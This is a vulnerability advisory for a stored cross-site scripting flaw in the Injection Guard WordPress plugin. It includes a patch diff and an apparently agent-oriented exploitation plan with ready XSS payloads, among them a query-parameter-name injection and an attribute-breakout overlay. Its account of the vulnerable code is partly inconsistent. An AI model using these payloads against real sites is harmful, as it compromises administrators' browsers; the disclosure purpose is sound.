Injection Guard <= 1.2.9 - Unauthenticated Stored Cross-Site Scripting via Query Parameter Name
Description
The Injection Guard plugin for WordPress is vulnerable to Stored Cross-Site Scripting via malicious query parameter names in all versions up to and including 1.2.9. This is due to insufficient input sanitization in the sanitize_ig_data() function which only sanitizes array values but not array keys, combined with missing output escaping in the ig_settings.php template where stored parameter keys are echoed directly into HTML. When a request is made to the site, the plugin captures the query string via $_SERVER['QUERY_STRING'], applies esc_url_raw() (which preserves URL-encoded special characters like %22, %3E, %3C), then passes it to parse_str() which URL-decodes the string, resulting in decoded HTML/JavaScript in the array keys. These keys are stored via update_option('ig_requests_log') and later rendered without esc_html() or esc_attr() on the admin log page. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in the admin log page that execute whenever an administrator views the Injection Guard log interface.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.2.9What Changed in the Fix
Changes introduced in v1.3.0
Source Code
WordPress.org SVN# Detailed Exploitation Research Plan: CVE-2026-3368 ## 1. Vulnerability Summary **ID:** CVE-2026-3368 **Plugin:** Injection Guard (slug: `injection-guard`) **Affected Versions:** <= 1.2.9 **Vulnerability Type:** Unauthenticated Stored Cross-Site Scripting (XSS) via Query Parameter Name The Inject…
Show full research plan
Detailed Exploitation Research Plan: CVE-2026-3368
1. Vulnerability Summary
ID: CVE-2026-3368
Plugin: Injection Guard (slug: injection-guard)
Affected Versions: <= 1.2.9
Vulnerability Type: Unauthenticated Stored Cross-Site Scripting (XSS) via Query Parameter Name
The Injection Guard plugin automatically logs all unique query strings sent to the WordPress site to help administrators monitor potential "injection" attempts. The vulnerability exists because the plugin captures the raw $_SERVER['QUERY_STRING'], applies esc_url_raw() (which preserves URL-encoded characters), and then uses parse_str() to convert the string into an associative array.
In version 1.2.9 and below, the sanitize_ig_data() function—responsible for cleaning this array before storage—was found to sanitize only the array values and not the array keys. These unsanitized keys (which can contain arbitrary HTML and JavaScript) are stored in the ig_requests_log option in the database. When an administrator views the "Log" tab in the Injection Guard settings page (ig_settings.php), these keys are echoed directly into the HTML context without proper output escaping (esc_html or esc_attr), leading to script execution in the administrator's browser.
2. Attack Vector Analysis
- Endpoint: Any public-facing URL on the WordPress site (e.g.,
/,/wp-login.php, or any post/page). - Hook:
init(priority 1). - Vulnerable Parameter: Any query string parameter name (the key).
- Authentication Level: Unauthenticated.
- Preconditions: The plugin must be active. The logging functionality is enabled by default as part of the plugin's core purpose.
3. Code Flow
- Entry Point: A request is made to the WordPress site. The plugin, hooked to
initviaadd_action('init', 'ig_start', 1);(inindex.php), calls theig_start()function (typically defined infunctions.php). - Data Capture:
ig_start()instantiates theguard_wordpressclass and callsupdate_log(). - Internal Logic:
guard_wordpress::update_log()callsget_requests_log_updated()(defined in the parent classguard_pluginsinguard.php). - Processing:
- The query string is retrieved:
$this->query_string = isset($_SERVER['QUERY_STRING']) ? esc_url_raw($_SERVER['QUERY_STRING']) : '';. - The query string is parsed into an array:
parse_str($this->query_string, $updated_log_temp);. - The keys from
$updated_log_temp(the parameter names) are assigned to the$updated_logarray.
- The query string is retrieved:
- Storage Sink: The
update_log()function then callsupdate_option('ig_requests_log', sanitize_ig_data($updated_log));. - Vulnerable Sanitization: The
sanitize_ig_data()function inguard.php(in versions <= 1.2.9) fails to applysanitize_text_field()to the keys of the array, only to the values. - Render Sink: When an admin visits
wp-admin/options-general.php?page=ig_settings, the templateig_settings.phpiterates through the log:
Theforeach($params as $param_key => $param): // ... <input type="checkbox" ... value="<?php echo $param_key; ?>"> <i class="fa fa-question-circle"></i> <?php echo $param_key; ?> // ...$param_keyis echoed without escaping, triggering the XSS.
4. Nonce Acquisition Strategy
No nonce is required for the unauthenticated part of this exploit. The logging mechanism is triggered automatically on the init hook for every request to the site, regardless of the user's authentication status or the presence of a CSRF token.
5. Exploitation Strategy
The goal is to inject a stored XSS payload into the admin log page.
Step 1: Inject the Payload
Send an unauthenticated HTTP GET request to the site root with a malicious query parameter name.
- Payload:
<img src=x onerror=alert(document.domain)> - URL Encoded Payload:
%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E - Target URL:
http://localhost:8080/?%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E=1
HTTP Request (via http_request tool):
{
"method": "GET",
"url": "http://localhost:8080/?%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E=1"
}
Step 2: Trigger the Execution
The administrator must log in and navigate to the plugin's settings page.
- Navigate to
http://localhost:8080/wp-admin/options-general.php?page=ig_settings. - Click on the Log tab (or check the HTML source, as the logs are rendered in a hidden tab by default).
6. Test Data Setup
- Plugin Installation: Ensure
injection-guardversion 1.2.9 or lower is installed and activated. - Environment: No specific posts or pages are needed; the site root is sufficient.
7. Expected Results
- Upon sending the malicious request, the plugin should store the key
<img src=x onerror=alert(document.domain)>in theig_requests_logoption. - When the administrator views the settings page, the browser should execute
alert(document.domain). - The HTML source of the settings page should contain the raw payload inside the
ig_log_list<ul>element.
8. Verification Steps
After performing the HTTP request, use WP-CLI to verify the payload was successfully stored in the database:
wp option get ig_requests_log --format=json
Look for an entry where the key contains the <img ...> tag.
To verify the XSS via the browser:
- Log in as an administrator.
- Navigate to the plugin settings page.
- Use
browser_evalto check for the presence of the payload in the DOM:document.body.innerHTML.includes('<img src=x onerror=alert(document.domain)>')
9. Alternative Approaches
If a simple tag injection is blocked by a WAF or browser filters, use an attribute breakout payload. This is effective because the key is echoed into the value attribute of an <input> tag in ig_settings.php.
Attribute Breakout Payload:" onmouseover="alert(1)" style="position:fixed;top:0;left:0;width:100%;height:100%;z-index:999;"
URL for Injection:/?%22%20onmouseover%3D%22alert(1)%22%20style%3D%22position%3Afixed%3Btop%3A0%3Bleft%3A0%3Bwidth%3A100%25%3Bheight%3A100%25%3Bz-index%3A999%3B%22=1
This creates a transparent overlay that triggers the alert as soon as the administrator moves their mouse over the page.
Summary
The Injection Guard plugin for WordPress is vulnerable to unauthenticated stored Cross-Site Scripting because it fails to sanitize query parameter names (keys) before storing them in the database and subsequently fails to escape them during output in the admin log interface. This allows unauthenticated attackers to inject arbitrary web scripts that execute when an administrator views the plugin's logs.
Vulnerable Code
// guard.php function sanitize_ig_data($input, $depth = 0) { if ($depth > 10) return null; // Prevent too deep recursion if (is_array($input)) { $new_input = array(); foreach ($input as $key => $val) { $clean_key = sanitize_text_field($key); $new_input[$clean_key] = is_array($val) ? sanitize_ig_data($val, $depth + 1) : sanitize_text_field($val); } } else { // ... (sanitization of value) } return $new_input; } --- // ig_settings.php @ line 117 <input type="checkbox" data-uri="<?php echo $log_head; ?>" value="<?php echo $param_key; ?>"> <i class="fa fa-question-circle"></i> <?php echo $param_key; ?> | <?php echo date(get_option( 'date_format' , "F j, Y"), $param); ?>
Security Fix
@@ -2,24 +2,52 @@ function sanitize_ig_data($input, $depth = 0) { - if ($depth > 10) return null; // Prevent too deep recursion + + if ($depth > 10) { + return null; // prevent deep recursion + } if (is_array($input)) { + $new_input = array(); + foreach ($input as $key => $val) { - $clean_key = sanitize_text_field($key); - $new_input[$clean_key] = is_array($val) ? sanitize_ig_data($val, $depth + 1) : sanitize_text_field($val); + + // sanitize array key + $clean_key = sanitize_key($key); + + // sanitize value + if (is_array($val)) { + $new_input[$clean_key] = sanitize_ig_data($val, $depth + 1); + } else { + + $val = sanitize_text_field(wp_unslash($val)); + + if (is_email($val)) { + $val = sanitize_email($val); + } + + if (wp_http_validate_url($val)) { + $val = esc_url_raw($val); + } + + $new_input[$clean_key] = $val; + } } + } else { - $new_input = sanitize_text_field($input); - if (is_email($new_input)) { - $new_input = sanitize_email($new_input); + $input = sanitize_text_field(wp_unslash($input)); + + if (is_email($input)) { + $input = sanitize_email($input); } - if (wp_http_validate_url($new_input)) { - $new_input = esc_url_raw($new_input); + if (wp_http_validate_url($input)) { + $input = esc_url_raw($input); } + + $new_input = $input; } return $new_input; @@ -51,7 +79,7 @@ public function init(){ $this->request = $_REQUEST; $this->request_uri = isset($_SERVER['REQUEST_URI']) ? esc_url( $_SERVER['REQUEST_URI'] ) : ''; - $this->query_string = isset($_SERVER['QUERY_STRING']) ? esc_url_raw($_SERVER['QUERY_STRING']) : ''; + $this->query_string = isset($_SERVER['QUERY_STRING']) ? wp_unslash($_SERVER['QUERY_STRING']) : ''; $this->request_uri_cleaned = $this->cleaned_uri(); } @@ -97,6 +125,7 @@ $updated_log[$this->request_uri_cleaned] = is_array($updated_log[$this->request_uri_cleaned])?$updated_log[$this->request_uri_cleaned]:(array)$updated_log[$this->request_uri_cleaned]; parse_str($this->query_string, $updated_log_temp); + $updated_log_temp = sanitize_ig_data($updated_log_temp); $time = time(); // $rand = rand(0, 5); @@ -117,11 +117,11 @@ ?> <li> <div class="ig_params"> - <input type="checkbox" data-uri="<?php echo $log_head; ?>" value="<?php echo $param_key; ?>"> - <i class="fa fa-question-circle"></i> <?php echo $param_key; ?> | <?php echo date(get_option( 'date_format' , "F j, Y"), $param); ?> + <input type="checkbox" data-uri="<?php echo esc_attr($log_head); ?>" value="<?php echo esc_attr($param_key); ?>"> + <i class="fa fa-question-circle"></i> <?php echo esc_html($param_key); ?> | <?php echo date(get_option( 'date_format' , "F j, Y"), $param); ?> </div> - <div class="ig_actions" data-uri="<?php echo $log_head; ?>" data-val="<?php echo $param_key; ?>"> + <div class="ig_actions" data-uri="<?php echo esc_attr($log_head); ?>" data-val="<?php echo esc_attr($param_key); ?>">
Exploit Outline
1. An unauthenticated attacker sends a GET request to any public URL on the site. 2. The request includes a malicious query parameter where the payload is in the parameter name (the key), such as `/?<img src=x onerror=alert(1)>=1`. 3. The plugin, hooked to 'init', captures the query string and uses `parse_str()` to decode the URL-encoded parameter name into a PHP array key. 4. The `sanitize_ig_data()` function fails to sanitize the keys of this array, allowing the raw HTML/JavaScript to remain. 5. The payload is stored in the WordPress database via `update_option('ig_requests_log', ...) `. 6. The vulnerability is triggered when a logged-in administrator visits the Injection Guard settings page (`wp-admin/options-general.php?page=ig_settings`) and views the 'Log' tab, where the malicious key is echoed into the HTML without escaping.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.